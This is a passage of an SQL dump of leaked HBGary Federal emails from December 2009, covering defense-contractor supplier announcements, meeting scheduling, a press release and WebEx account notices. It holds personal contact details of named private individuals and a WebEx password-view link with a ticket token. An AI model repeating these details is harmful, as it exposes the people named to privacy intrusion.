Thanks.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\nBruni | SAIC\r\n\r\nIntel, Security, and\r\nTechnology Group\r\n\r\nPhone: 703.318.4653 |\r\nFax 703.318.4523\r\n\r\nEmail: brunim@saic.com \r\nPlease send me an invite on LinkedIN: http://www.linkedin.com/in/mikebruni\r\n\r\nFollow me on Twitter: http://twitter.com/mikebruni\r\n\r\n&nbsp;\r\n\r\nScience Applications\r\nInternational Corporation\r\n\r\n11251 Roger Bacon Drive\r\n\r\nReston, VA 20190\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy |&nbsp; Environment&nbsp;\r\n|&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nThis\r\ne-mail and any attachments to it are intended only for the identified\r\nrecipients. It may contain proprietary or otherwise legally protected\r\ninformation of SAIC. Any unauthorized use or disclosure of this communication\r\nis strictly prohibited. If you have received this communication in error,\r\nplease notify the sender and delete or otherwise destroy the e-mail and all\r\nattachments immediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15886,'aaron_hbgary_com/15886.html'),(251,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999723.M302242P3547Q252.eml','\"Barr Aaron\" <aaron@hbgary.com>','FW: Tomorrow\'s conference call with Raytheon is cancelled','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nResend to your HBGary email\r\naddress.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 3:44 PM\r\nTo: \'Aaron Barr\'\r\nSubject: Tomorrow\'s conference call with Raytheon is cancelled\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nShane Powell of Raytheon said he will reschedule sometime\r\nafter the New Year.&nbsp; Something came up to cause him to cancel tomorrow&#8217;s\r\ncall.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15676,'aaron_hbgary_com/15676.html'),(252,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999723.M539591P3547Q253.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: UNO Announcement - Lockheed Martin Proprietary/Export Controlled Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed and Aaron,\r\n\r\n&nbsp;\r\n\r\nAnother UNO announcement.&nbsp; We\r\nshould get you guys added to their list.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Watson, Charles M\r\n[mailto:charles.m.watson@lmco.com] \r\nSent: Tuesday, December 01, 2009 2:15 PM\r\nCc: Watson, Charles M; Racz, James M; Anderson Jr, Robert L\r\nSubject: UNO Announcement - Lockheed Martin Proprietary/Export\r\nControlled Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin Proprietary/Export Controlled Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure, and is subject to US or foreign export control laws or\r\nregulations. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear\r\nUNO Suppliers:\r\n\r\n&nbsp;\r\n\r\nThe\r\nLockheed Martin UNO PMO has received a request for UNO Team Capability and\r\nInformation relative to an upcoming hardware and software Task Order\r\ndevelopment effort concerning e-ID Project needs.&nbsp; The Task Order\r\nis expected to be a Cost Plus Award Fee &#8211; Completion (CPAF-C) competition\r\neffort.&nbsp; It may or may not be followed by an O&amp;M or option year\r\neffort.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\n\r\nTo be\r\nconsidered qualified, interested suppliers must have significant experience\r\nand understanding of the&nbsp; process and standards of e-ID,\r\ndevelopment and engineering of hardware, software, systems and unique\r\ndata types.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you\r\nare interested in, and have the capabilities to meet the basic requirements of\r\nthis announcement, then please provide a written\r\nconfirmation of your interest via email to Charles Watson, UNO Subcontracts\r\nAdministrator, at charles.m.watson@lmco.com&nbsp; and Jim Racz, UNO Lead\r\nSystem Engineer, at james.m.racz@lmco.com by NLT COB (4pm) on\r\nThursday, 12/3.&nbsp; In your confirmation response\r\nto LMCO, please be sure to confirm your Security POC name, phone, and fax\r\nnumbers (classified and unclassified), and Contracts and Technical POC names,\r\naddresses and telephone numbers.\r\n\r\n&nbsp;\r\n\r\nAn e-IP\r\nProject needs synopsis will be promulgated via Classified FAX to those that\r\nhave provided written notification of their continuing interest and significant\r\nknowledge and capability. Please note that you must have the capability\r\nto receive and store SECRET material.&nbsp; If you do not have the capability\r\nto receive and store classified materials, then please contact me to make other\r\narrangements.\r\n\r\n&nbsp;\r\n\r\n\r\nThe\r\nUNO PMO will be seeking a total solution effort for this Task Order upon\r\naward.&nbsp; Partnering and second tier subbing is both encouraged and\r\naccepted.&nbsp; All second tier subs must be from UNO approved Team list.\r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and at least one lead development engineer/ technician for the e-ID\r\nProject Task Order must currently possess a Top\r\nSecret/SCI w/polygraph security clearance and be available on day 1.&nbsp; All other supporting\r\npersonnel must have a minimum of SECRET/SCI.&nbsp;&nbsp; It is anticipated that\r\nthe work required for this Task Order will be at the SECRET/SCI level.\r\n\r\n&nbsp;\r\n\r\n\r\nThere\r\nis no projected schedule at this time.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nCharles\r\nWatson\r\n\r\nLockheed\r\nMartin IS&amp;GS\r\n\r\nSr.\r\nSubcontract Administrator\r\n\r\n703-466-1347\r\n- office\r\n\r\n703-593-5728\r\n- cell\r\n\r\n703-466-1270\r\n- fax\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12368,'aaron_hbgary_com/12368.html'),(253,'2009-12-01','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999723.M77270P3547Q251.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Branding','\r\n\r\nBegin forwarded message:\r\n\r\n> From: michelle.magnetti@gmail.com\r\n> Date: December 1, 2009 1:12:30 PM MST\r\n> To: Ted Vera \r\n> Subject: Branding\r\n> Reply-To: michelle.magnetti@gmail.com\r\n>\r\n> Chad sent this to me in reference to TASC but applies to HBGary too.  \r\n> As you know I have a marketing/advertising background and  \r\n> participated in some branding and rebranding efforts and really  \r\n> believe in it. Since you and Aaron have the power (insert Dr Evil  \r\n> grin here) I thought I\'d pass it along.\r\n>\r\n> And, if you needed someone to run that show for you...I know  \r\n> someone. How\'s that for quick on the uptake?\r\n>\r\n> Mm\r\n> Sent from my Verizon Wireless BlackBerry\r\n>\r\n> From: \"Magnetti, Michelle L (IS)\" \r\n> Date: Tue, 1 Dec 2009 14:07:00 -0600\r\n> To: \r\n> Subject: FW: How we doin?\r\n>\r\n> .\r\n>\r\n> From: Chad Bookidis [mailto:chad@uboon2.com]\r\n> Sent: Thursday, November 19, 2009 9:20 AM\r\n> To: Magnetti, Michelle L (IS)\r\n> Subject: Re: How we doin?\r\n>\r\n> Cool... Here’s something that might help stoke the fire a bit. We  \r\n> use the attached model to help clients with exactly what you guys  \r\n> are talking about. Since a case can be made that your business  \r\n> strategy is your marketing strategy and brand is inextricably  \r\n> linked, maybe having a company like ours involved early on would be  \r\n> helpful and valuable. It sounds like you guys are building a brand  \r\n> and then need to figure out how to communicate it, both internally  \r\n> and externally. In that case, an outside perspective like ours is  \r\n> extremely important so that you don’t get the “heads down” syndrome.  \r\n> That’s when companies fail to look at who they are really important  \r\n> to and why.\r\n>\r\n> And I’ll reiterate, As soon as you think it’s appropriate, we’d be  \r\n> happy to get on a plane and come out there and sit down with folks  \r\n> and if nothing else, just have a talk about the process, us, and how  \r\n> that can help give make you and your Company To Be Named Later famous.\r\n>\r\n> -C\r\n>\r\n>\r\n\r\n',14586,'aaron_hbgary_com/14586.html'),(254,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999723.M780586P3547Q254.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: UNO Green Eggs Jamboree 2010 - Lockheed Martin Proprietary/Export 	Controlled Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:59 PM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Re: UNO Green Eggs Jamboree 2010 - Lockheed Martin\r\nProprietary/Export Controlled Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAttribution\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 1:27 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nLockheed put out an announcement for presenters on cyber\r\nsecurity topics for UNO.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jeffers, Jeff L\r\n[mailto:jeff.l.jeffers@lmco.com] \r\nSent: Tuesday, December 01, 2009 11:37 AM\r\nCc: Britton, Douglas C; Anderson Jr, Robert L; Racz, James M; Jeffers,\r\nJeff L\r\nSubject: UNO Green Eggs Jamboree 2010 - Lockheed Martin\r\nProprietary/Export Controlled Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin Proprietary/Export Controlled Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure, and is subject to US or foreign export control laws or\r\nregulations. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nDear UNO Suppliers:\r\n\r\nSubject: Request for Presenters\r\nfor UNO Green Eggs Jamboree\r\n\r\n&nbsp;\r\n\r\nPlease let Lockheed Martin know\r\nif you would be interested in presenting at the 2010 UNO Green Eggs Jamboree,\r\nbeing held on the 16th and 17th of March in Herndon, at\r\nthe DEP-II building.&nbsp; In order to present at the Jamboree, you will be\r\nrequired to submit a half-page abstract, describing how your project relates to\r\nthe research areas covered by Green Eggs.\r\n\r\n&nbsp;\r\n\r\nIf you are currently working a\r\nGreen Eggs Mitigation Study, no action is required to secure a presentation\r\nslot at the Jamboree.\r\n\r\n&nbsp;\r\n\r\nThe general topics and\r\ntechnologies of interest are:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHardware\r\nReverse Engineering\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nEmbedded\r\nSystems Analysis\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTrusted\r\nComputing\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOther\r\nSecurity related topics\r\n\r\n&nbsp;\r\n\r\nPlease respond with an\r\nindication of interest regarding abstract submission, no later than COB 11\r\nDecember 2009.&nbsp; Also indicate the POC for your organization and the SECURE\r\nfax number that further information can be sent to.&nbsp; At this time, please\r\ndo not send the abstracts themselves.&nbsp; A more detailed request will be\r\nfaxed to the interested parties.&nbsp; You will then have 10 days to prepare\r\nabstracts in response to the fax.\r\n\r\n&nbsp;\r\n\r\nShould you have any further\r\nquestions regarding this, please do not hesitate to contact me.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDoug Britton\r\n\r\nGreen Eggs\r\nTask Order Lead\r\n\r\nLockheed\r\nMartin\r\n\r\nDouglas.C.Britton@lmco.com\r\n\r\ntel:&nbsp;\r\n703.466.3515\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n________________\r\n\r\nJeff Jeffers\r\n\r\nSubcontracts\r\nAdministration\r\n\r\nLockheed Martin\r\nIS&amp;GS\r\n\r\n703-466-1208\r\n(desk)\r\n\r\n703-466-1270\r\n(fax)\r\n\r\nJeff.L.Jeffers@LMCO.COM &nbsp;\r\n\r\n&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;RequestForPresenters.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1374,'aaron_hbgary_com/1374.html'),(255,'2009-12-01','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999723.M981509P3547Q255.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Hi','Hi Ted, Thanks for your note! I\'m still working on the draft -- I should have something to you and Aaron by tomorrow. I don\'t think we need to do a call today, but will contact you if anything changes. Best, Karen--- On Tue, 12/1/09, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: HiTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Barr Aaron\" &lt;aaron@hbgary.com&gt;Date: Tuesday, December 1, 2009, 11:41 AM\r\nHow\'s the draft coming along? &nbsp;Do you want to schedule some time today to chat with Aaron and I?\r\n\r\nRegards,\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\n',10223,'aaron_hbgary_com/10223.html'),(256,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999724.M190876P3547Q256.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Hi','Sounds good Karen, talk to you tomorrow.TedOn Dec 1, 2009, at 2:01 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Ted, Thanks for your note! I&#39;m still working on the draft -- I should have something to you and Aaron by tomorrow. I don&#39;t think we need to do a call today, but will contact you if anything changes. Best, Karen\r\n--- On Tue, 12/1/09, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: HiTo: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nCc: &quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;Date: Tuesday, December 1, 2009, 11:41 AM\r\nHow&#39;s the draft coming along?  Do you want to schedule some time today to chat with Aaron and I?\r\n\r\nRegards,\r\nTed-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n\r\n      \r\n',12503,'aaron_hbgary_com/12503.html'),(257,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999724.M422784P3547Q257.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','GD conference call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI just got off the phone with Ben Wilson of GD-AIS.&nbsp; He\r\nis our main champion there.&nbsp; I scheduled a conference call for 1pm ET\r\nMonday, December 14 where you guys can begin dialogue.&nbsp; Does this date\r\nwork for you?&nbsp; Let me know and I can send out an invitation with call-in instructions.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nBen said he would invite Bill Thompson and Mark Green onto\r\nthe call.&nbsp; He also expressed a desire to invite you to their Santa Clara\r\nlocation to see their set-up.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14116,'aaron_hbgary_com/14116.html'),(258,'2009-12-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999729.M987399P3547Q258.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','Is there an HBGary Federal press release?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBen Wilson asked me to send a blurb about HBG Fed.&nbsp; Is there\r\na press release?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15269,'aaron_hbgary_com/15269.html'),(259,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999731.M123102P3547Q259.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: GD conference call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that\r\nweek, if yes I can take them on site.&nbsp; I&#8217;d also like to set up a meeting with\r\nKirsten and Ryan Orth\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: \'Barr Aaron\'; \'Ted Vera\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI just got off the phone with Ben Wilson of GD-AIS.&nbsp; He\r\nis our main champion there.&nbsp; I scheduled a conference call for 1pm ET\r\nMonday, December 14 where you guys can begin dialogue.&nbsp; Does this date\r\nwork for you?&nbsp; Let me know and I can send out an invitation with call-in\r\ninstructions.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBen said he would invite Bill Thompson and Mark Green onto\r\nthe call.&nbsp; He also expressed a desire to invite you to their Santa Clara\r\nlocation to see their set-up.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5190,'aaron_hbgary_com/5190.html'),(260,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999731.M327728P3547Q260.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Is there an HBGary Federal press release?','Karen is drafting it now. &nbsp;Expect to see something tomorrow.TedOn Dec 1, 2009, at 2:13 PM, Bob Slapnik wrote:Ben Wilson asked me to send a blurb about HBG Fed.&nbsp; Is there a press release?&nbsp;Bob&nbsp; ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',509,'aaron_hbgary_com/509.html'),(261,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999731.M529772P3547Q261.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: InQtel','You should get a welcome mail\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 11:45 AM\r\nTo: Penny Hoglund\r\nSubject: Re: InQtel\r\n\r\nHi penny,\r\n\r\nDo you have webex acct information I could get from u?\r\n\r\nThanks.\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 2:16 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> Anytime.  We are arriving Sunday and I\'m having him fly out on\r\n> Friday.  I am\r\n> trying to set up meeting with CIA with John Edwards as well.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 10:59 AM\r\n> To: Penny Hoglund\r\n> Subject: Re: InQtel\r\n>\r\n> Is there a time Monday that will work for a 1hour30min meeting with\r\n> palantir.  I would like Greg to give an hbgary capabilities\r\n> presentation about 40min long?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Dec 1, 2009, at 1:33 PM, \" Penny Hoglund\"  wrote:\r\n>\r\n>> We have a meeting 9:30 Tuesday morning in VA.  Can you attend?\r\n>\r\n\r\n',13790,'aaron_hbgary_com/13790.html'),(262,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999731.M712449P3547Q262.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: GD conference call','Yes the plan is we will be on the west coast that week.AaronFrom my iPhoneOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think they may be here that\r\nweek, if yes I can take them on site.  I’d also like to set up a meeting with\r\nKirsten and Ryan Orth\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: &#39;Barr Aaron&#39;; &#39;Ted Vera&#39;\r\nCc: &#39;Penny C. Hoglund&#39;\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nI just got off the phone with Ben Wilson of GD-AIS.  He\r\nis our main champion there.  I scheduled a conference call for 1pm ET\r\nMonday, December 14 where you guys can begin dialogue.  Does this date\r\nwork for you?  Let me know and I can send out an invitation with call-in\r\ninstructions.  \r\n\r\n \r\n\r\nBen said he would invite Bill Thompson and Mark Green onto\r\nthe call.  He also expressed a desire to invite you to their Santa Clara\r\nlocation to see their set-up.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3031,'aaron_hbgary_com/3031.html'),(263,'2009-12-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999731.M901073P3547Q263.eml','\"Aaron Barr\" <aaron@hbgary.com>','Responder Review','http://www.scmagazineus.com/hbgary-responder-field-edition/review/2848/ ___Ted Vera | COO | HBGary Federal, Inc.Cell Phone 719-237-8623Website: &nbsp;www.hbgary.comEmail: &nbsp;ted@hbgary.com ',1758,'aaron_hbgary_com/1758.html'),(264,'2009-12-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999732.M250646P3547Q265.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: GD conference call','Penny,Any chance I can get the cto from NG xetron into the training class next week?Aaron  From my iPhoneOn Dec 1, 2009, at 4:18 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nI think they may be here that\r\nweek, if yes I can take them on site.  I’d also like to set up a meeting with\r\nKirsten and Ryan Orth\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: &#39;Barr Aaron&#39;; &#39;Ted Vera&#39;\r\nCc: &#39;Penny C. Hoglund&#39;\r\nSubject: GD conference call\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron and Ted,\r\n\r\n \r\n\r\nI just got off the phone with Ben Wilson of GD-AIS.  He\r\nis our main champion there.  I scheduled a conference call for 1pm ET\r\nMonday, December 14 where you guys can begin dialogue.  Does this date\r\nwork for you?  Let me know and I can send out an invitation with call-in\r\ninstructions.  \r\n\r\n \r\n\r\nBen said he would invite Bill Thompson and Mark Green onto\r\nthe call.  He also expressed a desire to invite you to their Santa Clara\r\nlocation to see their set-up.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6145,'aaron_hbgary_com/6145.html'),(265,'2009-12-02','\"WebEx Customer Services\" <Customer_Service@webex.com>','/aaron@hbgary.com/new/1296999732.M423697P3547Q266.eml','aaron@hbgary.com','Your Meeting Center User Name and Password','Dear Aaron, \r\n \r\nWelcome to WebEx Meeting Center! Hbgary LLC has created a Meeting Center \r\nuser account for you. To start using your WebEx Meeting Center, follow the steps below:\r\n \r\n1. Go to http://hbgary.webex.com.\r\n2. On the navigation bar, click Log In.\r\n3. Log into the Meeting Center using your user name, Aaron, and the password \r\nhttps://hbgary.webex.com/mw0306l/mywebex/forgotpwd.do?siteurl=hbgary.\r\n \r\nFREE TRAINING\r\n \r\nIn as little as 30 minutes, you can be on your way to hosting successful online meetings.  To attend a free \r\ntraining session, go to http://university.webex.com/.  Enter your WebEx user name, \r\npassword, and WebEx URL (hbgary.webex.com) to log into the registration page. \r\n \r\n******************************************************************************************** \r\n\r\nAttend a Meeting Center JumpStart! session by registering at \r\nhttp://try.webex.com/mk/get/jumpstart_reg today and receive a free gift!   \r\n********************************************************************************************\r\n \r\nTECHNICAL SUPPORT AND CUSTOMER SERVICE\r\n \r\nFor technical issues, send an email message to support@webex.com.\r\nFor questions about your user account, send an email message to \r\ncustomer_services@webex.com. \r\n \r\nSETTING UP THE MEETING MANAGER \r\n \r\nIf this is your first time using the Meeting Center, you must first set up the Meeting \r\nManager on your computer. This is a one-time setup and will take just a few minutes.\r\n \r\nTo set up the Meeting Manager on a computer running Windows OS, click New User? on the \r\nnavigation bar, then follow the setup prompts. \r\n \r\nFor setting up the Meeting Manager on a computer running on Mac, \r\nLinux or Solaris OS, detailed instructions are available on the WebEx support site, Click Assistance on the navigation bar, then click Support.\r\n \r\nGET STARTED NOW! \r\n \r\nYou are now ready to host your own online meetings! For more efficient meetings, please take some time to become familiar with the Meeting Center features and functionality. \r\n\r\n1. Review the online Help. To open Help, click Assistance on the navigation bar, \r\nthen click Help. \r\n\r\n2. Practice using the features described in the online Help.. \r\n\r\n3. Start an instant meeting: on the navigation bar, click Host a \r\nMeeting, then click Instant Meeting. Specify a meeting topic, then click Start \r\nMeeting.\r\n \r\n \r\nWe are happy to have you as a new user and look forward to working with you.\r\nIf you have any questions or concerns, please feel free to contact \r\nus at your convenience. \r\n \r\nRegards,\r\n \r\nWebEx Customer Services\r\n \r\n408-435-7088\r\n		\r\n		',14472,'aaron_hbgary_com/14472.html'),(266,'2009-12-02','messenger@webex.com','/aaron@hbgary.com/new/1296999732.M645843P3547Q267.eml','aaron@hbgary.com','Your enterprise account information','As requested, here is your enterprise account information for https://hbgary.webex.com:   User Name: Aaron  Password: https://hbgary.webex.com/hbgary/viewPassword.php?UID=9d1909584b5c5f525f091c02&Ticket=de2f9a856e992ac7&Timestamp=12022009004003   -------------------------------------------------------  For assistance  -------------------------------------------------------  If you cannot log in, please contact WebEx Technical Support at https://support.webex.com/support/manage-ticket.html.   WebEx Technical Support  ',14117,'aaron_hbgary_com/14117.html'),(267,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999732.M79828P3547Q264.eml','\"Zavala, Kathy L. (IS)\" <Kathy.Zavala@ngc.com>','Re: Status','Would Monday morning work?AaronFrom my iPhoneOn Dec 1, 2009, at 2:33 PM, &quot;Zavala, Kathy L. (IS)&quot; &lt;Kathy.Zavala@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nBill Luti has asked me to contact you to scheduled a meeting\r\nover coffee.  Please let me know your availability the week of December 7th.\r\n\r\n\r\n \r\n\r\nThanks,\r\n\r\nKathy\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, thanks for the update and I’m delighted you landed\r\nwell. Yes, let’s get together for coffee soon to catch up. I’ll\r\nhave Kathy Zavala set something up this week (I’m in LA but back\r\nThursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response.  Their 